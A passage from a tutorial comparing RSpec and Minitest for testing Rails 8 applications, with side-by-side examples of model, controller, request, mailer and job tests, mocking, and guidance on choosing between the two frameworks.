  • You like writing spec-style tests and separating tests by type (spec/models, spec/controllers, etc.).

Example RSpec syntax:

describe User do
  it "is valid with a name and email" do
    user = User.new(name: "Alice", email: "alice@example.com")
    expect(user).to be_valid
  end
end


♦️ Use Minitest if:

  • You prefer simplicity and speed — it’s built into Rails and requires no setup.
  • You value convention over configuration and a more Ruby-like test style.
  • You’re working on a small-to-medium project or want to avoid extra dependencies.
  • You like tests integrated with rails test without RSpec’s additional structure.

Example Minitest syntax:

class UserTest < ActiveSupport::TestCase
  test "is valid with a name and email" do
    user = User.new(name: "Alice", email: "alice@example.com")
    assert user.valid?
  end
end


🚦Recommendation:

  • Go with RSpec if you want a full-featured testing suite, lots of documentation, and are okay with learning a custom DSL.
  • Stick with Minitest if you want fast boot time, minimal dependencies, and simpler syntax.

Below is a side-by-side comparison of RSpec and Minitest in a Rails 8 context. For each aspect—setup, syntax, assertions, fixtures/factories, controller tests, etc.—you’ll see how you’d do the same thing in RSpec (left) versus Minitest (right). Wherever possible, the examples mirror each other so you can quickly spot the differences.


1. Setup & Configuration

AspectRSpecMinitest
Gem inclusionAdd to your Gemfile:
ruby<br>group :development, :test do<br> gem 'rspec-rails', '~> 6.0' # compatible with Rails 8<br>end<br>Then run:bash<br>bundle install<br>rails generate rspec:install<br>This creates spec/ directory with spec/spec_helper.rb and spec/rails_helper.rb.
Built into Rails. No extra gems required. When you generate your app, Rails already configures Minitest.By default you have test/ directory with test/test_helper.rb.

2. Folder Structure

TypeRSpecMinitest
Model specs/testsspec/models/user_spec.rbtest/models/user_test.rb
Controller specs/testsspec/controllers/users_controller_spec.rbtest/controllers/users_controller_test.rb
Request specs/testsspec/requests/api/v1/users_spec.rb (or spec/requests/…)test/integration/api/v1/users_test.rb
Fixture/Factory filesspec/factories/*.rb (with FactoryBot or similar)test/fixtures/*.yml
Helper filesspec/support/... (you can require them via rails_helper.rb)test/helpers/... (auto-loaded via test_helper.rb)

3. Basic Model Validation Example

RSpec (spec/models/user_spec.rb)

# spec/models/user_spec.rb
require 'rails_helper'

RSpec.describe User, type: :model do
  context "validations" do
    it "is valid with a name and email" do
      user = User.new(name: "Alice", email: "alice@example.com")
      expect(user).to be_valid
    end

    it "is invalid without an email" do
      user = User.new(name: "Alice", email: nil)
      expect(user).not_to be_valid
      expect(user.errors[:email]).to include("can't be blank")
    end
  end
end

Minitest (test/models/user_test.rb)

# test/models/user_test.rb
require "test_helper"

class UserTest < ActiveSupport::TestCase
  test "valid with a name and email" do
    user = User.new(name: "Alice", email: "alice@example.com")
    assert user.valid?
  end

  test "invalid without an email" do
    user = User.new(name: "Alice", email: nil)
    refute user.valid?
    assert_includes user.errors[:email], "can't be blank"
  end
end


4. Using Fixtures vs. Factories

RSpec (with FactoryBot)

  1. Gemfile: group :development, :test do gem 'rspec-rails', '~> 6.0' gem 'factory_bot_rails' end
  2. Factory definition (spec/factories/users.rb): # spec/factories/users.rb FactoryBot.define do factory :user do name { "Bob" } email { "bob@example.com" } end end
  3. Spec using factory: # spec/models/user_spec.rb require 'rails_helper' RSpec.describe User, type: :model do it "creates a valid user via factory" do user = FactoryBot.build(:user) expect(user).to be_valid end end

Minitest (with Fixtures or Minitest Factories)

  1. Default fixture (test/fixtures/users.yml):
    alice: name: Alice email: alice@example.com bob: name: Bob email: bob@example.com
  2. Test using fixture:
    # test/models/user_test.rb
    require "test_helper"
    class UserTest < ActiveSupport::TestCase
    test "fixture user is valid" do
    user = users(:alice) assert user.valid?
    end
    end
  3. (Optional) Using minitest-factory_bot:
    If you prefer factory style, you can add gem 'minitest-factory_bot', define factories similarly under test/factories, and then: # test/models/user_test.rb require "test_helper" class UserTest < ActiveSupport::TestCase include FactoryBot::Syntax::Methods test "factory user is valid" do user = build(:user) assert user.valid? end end

5. Assertions vs. Expectations

CategoryRSpec (expectations)Minitest (assertions)
Check truthinessexpect(some_value).to be_truthyassert some_value
Check false/nilexpect(value).to be_falseyrefute value
Equalityexpect(actual).to eq(expected)assert_equal expected, actual
Inclusionexpect(array).to include(item)assert_includes array, item
Change/Count differenceexpect { action }.to change(Model, :count).by(1)assert_difference 'Model.count', 1 do <br> action<br>end
Exception raisedexpect { code }.to raise_error(ActiveRecord::RecordNotFound)assert_raises ActiveRecord::RecordNotFound do<br> code<br>end

Example: Testing a Creation Callback

RSpec:

# spec/models/post_spec.rb
require 'rails_helper'

RSpec.describe Post, type: :model do
  it "increments Post.count by 1 when created" do
    expect { Post.create!(title: "Hello", content: "World") }
      .to change(Post, :count).by(1)
  end
end

Minitest:

# test/models/post_test.rb
require "test_helper"

class PostTest < ActiveSupport::TestCase
  test "creation increases Post.count by 1" do
    assert_difference 'Post.count', 1 do
      Post.create!(title: "Hello", content: "World")
    end
  end
end


6. Controller (Request/Integration) Tests

6.1 Controller‐Level Test

RSpec (spec/controllers/users_controller_spec.rb)

# spec/controllers/users_controller_spec.rb
require 'rails_helper'

RSpec.describe UsersController, type: :controller do
  let!(:user) { FactoryBot.create(:user) }

  describe "GET #show" do
    it "returns http success" do
      get :show, params: { id: user.id }
      expect(response).to have_http_status(:success)
    end

    it "assigns @user" do
      get :show, params: { id: user.id }
      expect(assigns(:user)).to eq(user)
    end
  end

  describe "POST #create" do
    context "with valid params" do
      let(:valid_params) { { user: { name: "Charlie", email: "charlie@example.com" } } }

      it "creates a new user" do
        expect {
          post :create, params: valid_params
        }.to change(User, :count).by(1)
      end

      it "redirects to user path" do
        post :create, params: valid_params
        expect(response).to redirect_to(user_path(User.last))
      end
    end

    context "with invalid params" do
      let(:invalid_params) { { user: { name: "", email: "" } } }

      it "renders new template" do
        post :create, params: invalid_params
        expect(response).to render_template(:new)
      end
    end
  end
end

Minitest (test/controllers/users_controller_test.rb)
# test/controllers/users_controller_test.rb
require "test_helper"

class UsersControllerTest < ActionDispatch::IntegrationTest
  setup do
    @user = users(:alice)  # from fixtures
  end

  test "should get show" do
    get user_url(@user)
    assert_response :success
    assert_not_nil assigns(:user)   # note: assigns may need enabling in Rails 8
  end

  test "should create user with valid params" do
    assert_difference 'User.count', 1 do
      post users_url, params: { user: { name: "Charlie", email: "charlie@example.com" } }
    end
    assert_redirected_to user_url(User.last)
  end

  test "should render new for invalid params" do
    post users_url, params: { user: { name: "", email: "" } }
    assert_response :success        # renders :new with 200 status by default
    assert_template :new
  end
end

Note:

  • In Rails 8, controller tests are typically integration tests (ActionDispatch::IntegrationTest) rather than old‐style unit tests. RSpec’s type: :controller still works, but you can also use type: :request (see next section).
  • assigns(...) is disabled by default in modern Rails controller tests. In Minitest, you might enable it or test via response body or JSON instead.

6.2 Request/Integration Test

RSpec Request Spec (spec/requests/users_spec.rb)
# spec/requests/users_spec.rb
require 'rails_helper'

RSpec.describe "Users API", type: :request do
  let!(:user) { FactoryBot.create(:user) }

  describe "GET /api/v1/users/:id" do
    it "returns the user in JSON" do
      get api_v1_user_path(user), as: :json
      expect(response).to have_http_status(:ok)
      json = JSON.parse(response.body)
      expect(json["id"]).to eq(user.id)
      expect(json["email"]).to eq(user.email)
    end
  end

  describe "POST /api/v1/users" do
    let(:valid_params) { { user: { name: "Dana", email: "dana@example.com" } } }

    it "creates a user" do
      expect {
        post api_v1_users_path, params: valid_params, as: :json
      }.to change(User, :count).by(1)
      expect(response).to have_http_status(:created)
    end
  end
end

Minitest Integration Test (test/integration/users_api_test.rb)
# test/integration/users_api_test.rb
require "test_helper"

class UsersApiTest < ActionDispatch::IntegrationTest
  setup do
    @user = users(:alice)
  end

  test "GET /api/v1/users/:id returns JSON" do
    get api_v1_user_path(@user), as: :json
    assert_response :success
    json = JSON.parse(response.body)
    assert_equal @user.id, json["id"]
    assert_equal @user.email, json["email"]
  end

  test "POST /api/v1/users creates a user" do
    assert_difference 'User.count', 1 do
      post api_v1_users_path, params: { user: { name: "Dana", email: "dana@example.com" } }, as: :json
    end
    assert_response :created
  end
end


7. Testing Helpers, Mailers, and Jobs

Test TypeRSpec ExampleMinitest Example
Helper Specspec/helpers/application_helper_spec.rbruby<br>describe ApplicationHelper do<br> describe "#formatted_date" do<br> it "formats correctly" do<br> expect(helper.formatted_date(Date.new(2025,1,1))).to eq("January 1, 2025")<br> end<br> end<br>endtest/helpers/application_helper_test.rbruby<br>class ApplicationHelperTest < ActionView::TestCase<br> test "formatted_date outputs correct format" do<br> assert_equal "January 1, 2025", formatted_date(Date.new(2025,1,1))<br> end<br>end
Mailer Specspec/mailers/user_mailer_spec.rbruby<br>describe UserMailer, type: :mailer do<br> describe "#welcome_email" do<br> let(:user) { create(:user, email: "test@example.com") }<br> let(:mail) { UserMailer.welcome_email(user) }<br> it "renders subject" do<br> expect(mail.subject).to eq("Welcome!")<br> end<br> it "sends to correct recipient" do<br> expect(mail.to).to eq([user.email])<br> end<br> end<br>endtest/mailers/user_mailer_test.rbruby<br>class UserMailerTest < ActionMailer::TestCase<br> test "welcome email" do<br> user = users(:alice)<br> mail = UserMailer.welcome_email(user)<br> assert_equal "Welcome!", mail.subject<br> assert_equal [user.email], mail.to<br> assert_match "Hello, #{user.name}", mail.body.encoded<br> end<br>end
Job Specspec/jobs/process_data_job_spec.rbruby<br>describe ProcessDataJob, type: :job do<br> it "queues the job" do<br> expect { ProcessDataJob.perform_later(123) }.to have_enqueued_job(ProcessDataJob).with(123)<br> end<br>endtest/jobs/process_data_job_test.rbruby<br>class ProcessDataJobTest < ActiveJob::TestCase<br> test "job is enqueued" do<br> assert_enqueued_with(job: ProcessDataJob, args: [123]) do<br> ProcessDataJob.perform_later(123)<br> end<br> end<br>end

8. Mocking & Stubbing

TechniqueRSpecMinitest
Stubbing a methodruby<br>allow(User).to receive(:send_newsletter).and_return(true)<br>ruby<br>User.stub(:send_newsletter, true) do<br> # ...<br>end<br>
Mocking an objectruby<br>mailer = double("Mailer")<br>expect(mailer).to receive(:deliver).once<br>allow(UserMailer).to receive(:welcome).and_return(mailer)<br>ruby<br>mailer = Minitest::Mock.new<br>mailer.expect :deliver, true<br>UserMailer.stub :welcome, mailer do<br> # ...<br>end<br>mailer.verify<br>

9. Test Performance & Boot Time

  • RSpec
    • Slower boot time because it loads extra files (rails_helper.rb, support files, matchers).
    • Rich DSL can make tests slightly slower, but you get clearer, more descriptive output.
  • Minitest
    • Faster boot time since it’s built into Rails and has fewer abstractions.
    • Ideal for a smaller codebase or when you want minimal overhead.

Benchmarks:
While exact numbers vary, many Rails 8 teams report ~20–30% faster test suite runtime on Minitest vs. RSpec for comparable test counts. If speed is critical and test suite size is moderate, Minitest edges out.


10. Community, Ecosystem & Plugins

FeatureRSpecMinitest
PopularityBy far the most popular Rails testing framework⸺heavily used, many tutorials.Standard in Rails. Fewer third-party plugins than RSpec, but has essential ones (e.g., minitest-rails, minitest-factory_bot).
Common plugins/gems• FactoryBot• Shoulda Matchers (for concise model validations)• Database Cleaner (though Rails 8 encourages use_transactional_tests)• Capybara built-in support• minitest-rails-capybara (for integration/feature specs)• minitest-reporters (improved output)• minitest-factory_bot
Learning curveLarger DSL to learn (e.g., describe, context, before/let/subject, custom matchers).Minimal DSL—familiar Ruby methods (assert, refute, etc.).
Documentation & tutorialsAbundant (RSPEC official guides, many blog posts, StackOverflow).Good coverage in Rails guides; fewer dedicated tutorials but easy to pick up if you know Ruby.
CI IntegrationExcellent support in CircleCI, GitHub Actions, etc. Many community scripts to parallelize RSpec.Equally easy to integrate; often faster out of the box due to fewer dependencies.

11. Example: Complex Query Test (Integration of AR + Custom Validation)

RSpec

# spec/models/order_spec.rb
require 'rails_helper'

RSpec.describe Order, type: :model do
  describe "scopes and validations" do
    before do
      @user       = FactoryBot.create(:user)
      @valid_attrs = { user: @user, total_cents: 1000, status: "pending" }
    end

    it "finds only completed orders" do
      FactoryBot.create(:order, user: @user, status: "completed")
      FactoryBot.create(:order, user: @user, status: "pending")
      expect(Order.completed.count).to eq(1)
    end

    it "validates total_cents is positive" do
      order = Order.new(@valid_attrs.merge(total_cents: -5))
      expect(order).not_to be_valid
      expect(order.errors[:total_cents]).to include("must be greater than or equal to 0")
    end
  end
end

Minitest

# test/models/order_test.rb
require "test_helper"

class OrderTest < ActiveSupport::TestCase
  setup do
    @user = users(:alice)
    @valid_attrs = { user: @user, total_cents: 1000, status: "pending" }
  end

  test "scope .completed returns only completed orders" do
    Order.create!(@valid_attrs.merge(status: "completed"))
    Order.create!(@valid_attrs.merge(status: "pending"))
    assert_equal 1, Order.completed.count
  end

  test "validates total_cents is positive" do
    order = Order.new(@valid_attrs.merge(total_cents: -5))
    refute order.valid?
    assert_includes order.errors[:total_cents], "must be greater than or equal to 0"
  end
end


12. When to Choose Which?

  • Choose RSpec if …
    1. You want expressive, English-like test descriptions (describe, context, it).
    2. Your team is already comfortable with RSpec.
    3. You need a large ecosystem of matchers/plugins (e.g., shoulda-matchers, faker, etc.).
    4. You prefer separating specs into spec/ with custom configurations in rails_helper.rb and spec_helper.rb.
  • Choose Minitest if …
    1. You want zero additional dependencies—everything is built into Rails.
    2. You value minimal configuration and convention over configuration.
    3. You need faster test suite startup and execution.
    4. Your tests are simple enough that a minimal DSL is sufficient.

13. 📋 Summary Table

FeatureRSpecMinitest
Built-in with RailsNo (extra gem)Yes
DSL Readability“describe/context/it” blocks → very readablePlain Ruby test classes & methods → idiomatic but less English-like
Ecosystem & PluginsVery rich (FactoryBot, Shoulda, etc.)Leaner, but you can add factories & reporters if needed
Setup/Boot TimeSlower (loads extra config & DSL)Faster (built-in)
Fixtures vs. Factory preferenceFactoryBot (by convention)Default YAML fixtures or optionally minitest-factory_bot
Integration Test SupportBuilt-in type: :requestBuilt-in ActionDispatch::IntegrationTest
Community AdoptionMore widely adopted for large Rails teamsStandard for many smaller Rails projects

✍️ Final Note

  • If you’re just starting out and want something up and running immediately—Minitest is the simplest path since it requires no extra gems. You can always add more complexity later (e.g., add minitest-factory_bot or minitest-reporters).
  • If you plan to write a lot of tests—model validations, request specs, feature specs, etc.—with very expressive descriptions (and you don’t mind a slightly longer boot time), RSpec tends to be the de facto choice in many Rails codebases.

Feel free to pick whichever aligns best with your team’s style. Both ecosystems are mature and well-documented.